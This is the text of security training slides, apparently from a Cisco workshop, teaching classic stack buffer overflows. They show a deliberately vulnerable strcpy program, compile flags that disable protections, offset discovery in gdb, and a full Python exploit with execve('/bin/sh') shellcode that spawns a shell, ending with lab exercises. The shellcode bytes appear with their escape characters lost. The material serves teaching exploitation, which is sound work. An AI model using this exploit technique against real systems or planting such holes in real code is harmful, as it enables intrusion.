Thank you Aleph One! 
Refresher on buffer overflow in the old days 
Alex Moneger 
Security Engineer
Buffer overflow refresher 
 First paper by Aleph One in 1996 in Phrack #49: 
http://www.phrack.org/issues.html?issue=49&id=14 
 No OS level protections at the time 
 Works by writing past the buffer end aka stuff more data into a buffer 
then it can hold 
 Goal is to overwrite something interesting control structure with our 
attacker data. Can de saved EIP, but can be any function pointer 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
Stack refresher (again ;)) 
 Stack holds local variables, the address of the 
previous frame, the address of where to return 
to 
 Goal is to overwrite Saved EIP (referred to as 
SEIP) 
 If we control SEIP, we control where “ret” 
instruction will go, meaning we control EIP 
SEIP 
SEBP 
Local function storage 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
The “classic” 
cisco@kali:~/src/seccon/ch3$ pygmentize -g ch3.c 
#include <string.h> 
int vuln(char *stuff) { 
char buf[0x64] = {0}; 
strcpy(buf, stuff); 
return 1; 
} 
int main(int argc, char **argv) { 
vuln(argv[1]); 
return 0; 
} 
 “Buf” has no boundary checking. “stuff” is 
attacker controlled 
SEIP 
SEBP 
Buf 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
Making it exploitable 
 Previous program compiled with following options: 
cisco@kali:~/src/seccon/ch3$ sudo sysctl -a | grep randomize 
kernel.randomize_va_space = 0 
cisco@kali:~/src/seccon/ch3$ cc ch3.c -fno-stack-protector -z execstack -U_FORTIFY_SOURCE –g -o ch3 
 See how many security features we are disabling? 
 Pretend we don’t have sources, find the size of the local stack storage 
in function prologue 
cisco@kali:~/src/seccon/ch3$ objdump -d -j .text -M intel ch3 | grep -i 'vuln>:' -A 10 | grep --color 
esp 
804841d: 89 e5 mov ebp,esp 
8048421: 83 c4 80 add esp,0xffffff80 
cisco@kali:~/src/seccon/ch3$ python -c 'import exutil as e; print e.cmp2(0xffffff80)' 
-128 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
Recon 
 Local storage for func is 128 bytes. Nothing says 
that our vulnerable buf starts at the beginning of 
that 
 Let’s figure out how much we need to overwrite to 
control EIP 
 Max overwrite size = ebp – esp + SEBP + SEIP = 
128 + 4 + 4 = 136 
SEIP 
SEBP 
???? 
Buf 
???? 
1 
2 
8 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
Finding the offsets manually 
cisco@kali:~/src/seccon/ch3$ python -c 'print "A =>", hex(ord("A")), "B =>", hex(ord("B"))' 
A => 0x41 B => 0x42 
cisco@kali:~/src/seccon/ch3$ (invoke ch3 $(python -c 'print "A"*132+"B"*4')) || dmesg | tail -n 1 
Segmentation fault 
[613635.624345] ch3[18312]: segfault at 41414141 ip 41414141 sp bffffcf0 error 14 
cisco@kali:~/src/seccon/ch3$ (invoke ch3 $(python -c 'print "A"*128+"B"*4')) || dmesg | tail -n 1 
Segmentation fault 
[613642.976497] ch3[18318]: segfault at 41414141 ip 41414141 sp bffffcf0 error 14 
cisco@kali:~/src/seccon/ch3$ (invoke ch3 $(python -c 'print "A"*124+"B"*4')) || dmesg | tail -n 1 
Segmentation fault 
[613663.605595] ch3[18325]: segfault at 41414141 ip 41414141 sp bffffcf0 error 14 
cisco@kali:~/src/seccon/ch3$ # Continue decrementing by 4 
cisco@kali:~/src/seccon/ch3$ (invoke ch3 $(python -c 'print "A"*112+"B"*4')) || dmesg | tail -n 1 
Segmentation fault 
[613678.429167] ch3[18331]: segfault at 42424242 ip 42424242 sp bffffd00 error 14 
 Doing this properly => Use msf pattern_create.rb & pattern_offset.rb 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
We’re going to overflow!!! 
1. Choose a shellcode 
2. Compute it’s length: ie: 40 bytes 
3. Add the proper padding to overwrite SEIP: 112 - 40 = 72 
4. Find the address of our shellcode 
5. Append to the buffer to redirect flow 
Shellcode Junk 
SC 
Add 
ress 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
Finding buffer address 
cisco@kali:~/src/seccon/ch3$ env -i gdb --quiet --args ./ch3 $(python -c 'print "A"*112+"BCDE"') 
Reading symbols from /home/cisco/src/seccon/ch3/ch3...done. 
gdb$ gdb$ !objdump -d -j .text -M intel ch3 | grep -i 'vuln>:' -A 22 | tail -n 5 
804844e: 83 ec 80 sub esp,0xffffff80 
8048451: 5b pop ebx 
8048452: 5f pop edi 
8048453: 5d pop ebp 
8048454: c3 ret 
gdb$ gdb$ break *0x804844e 
Breakpoint 1 at 0x804844e: file ch3.c, line 9. 
gdb$ r 
gdb$ x/16w $esp 
0xbffffc70: 0xbffffc8c 0xbffffec9 0xb7ffeff4 0xbffffd70 
0xbffffc80: 0xb7fffac0 0xbffffd44 0xb7feb662 0x41414141 
0xbffffc90: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffca0: 0x41414141 0x41414141 0x41414141 0x41414141 
gdb$ x/x 0xbffffc8c 
0xbffffc8c: 0x41414141 
gdb$ x/s 0xbffffc8c 
0xbffffc8c: 'A' <repeats 112 times>, "BBBB" 
gdb$ x/2w $ebp 
0xbffffcf8: 0x41414141 0x42424242 
gdb$ si 5 
--------------------------------------------------------------------------[regs] 
EAX: 00000001 EBX: 41414141 ECX: 00000000 EDX: 00000075 o d I t S z a P C 
ESI: 00000000 EDI: 41414141 EBP: 41414141 ESP: BFFFFD00 EIP: 42424242 
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: 
Cannot access memory at address 0x42424242 
0x42424242 in ?? () 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
Summary 
 We have the overflow length: 116 bytes (112 bytes + 4 bytes SEIP 
overwrite) 
 We have the buffer’s address (0xbffffc8c) 
 We have a shellcode (I’m a nice guy) 
 Stuff all of it together 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
Shell time 
cisco@kali:~/src/seccon/ch3$ pygmentize ch3.py 
#!/usr/bin/env python 
# -*- coding: utf-8 -*- 
import os 
import struct 
target = "ch3" 
overflow_len = 112 
ret_addr = 0xbffffc8c 
target_path = os.path.abspath(target) 
# setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0) 
sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46" 
"x58xcdx80xb0x0bx52x68x6ex2fx73x68x68" 
"x2fx2fx62x69x89xe3x89xd1xcdx80") 
nop_sled = overflow_len - len(sc) 
sc_addr = struct.pack("<I", ret_addr) 
ex = "%s%s%s" % (sc, 'A'*nop_sled, sc_addr) 
os.execve(target_path, (target_path, ex), os.environ) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
Result 
cisco@kali:~/src/seccon/ch3$ invoke ch3.py 
$ id 
uid=1000(cisco) gid=1001(cisco) groups=1001(cisco) 
$ exit 
cisco@kali:~/src/seccon/ch3$ 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
Variations 
 Small buffers (shellcode doesn’t fit): append shellcode after ret address 
SC 
Add 
ress 
Junk Shellcode 
 Unpredictable buffer address (stack size is not under control): append 
NOP sled in front of shellcode: 
NOP sled Shellcode 
SC 
Add 
ress 
 Use an environment variable to host your shellcode 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
Limitations 
 Shellcode on executed on the stack, so stack needs to be executable 
 Buffer address is known, so addresses can’t be randomized 
 Stack frame is not protected (more on this later) 
 There are no null bytes in our buffer address (This can fixed easily) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
Now get to work 
 Compile and exploit ch3 
 Try any different exploitation technique described previously 
 Don’t use the “invoke” script when trying to exploit. What is happening 
to the stack? Why is your exploit failing? 
 Enable one memory protection (whichever). Check the effect on the 
exploit 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15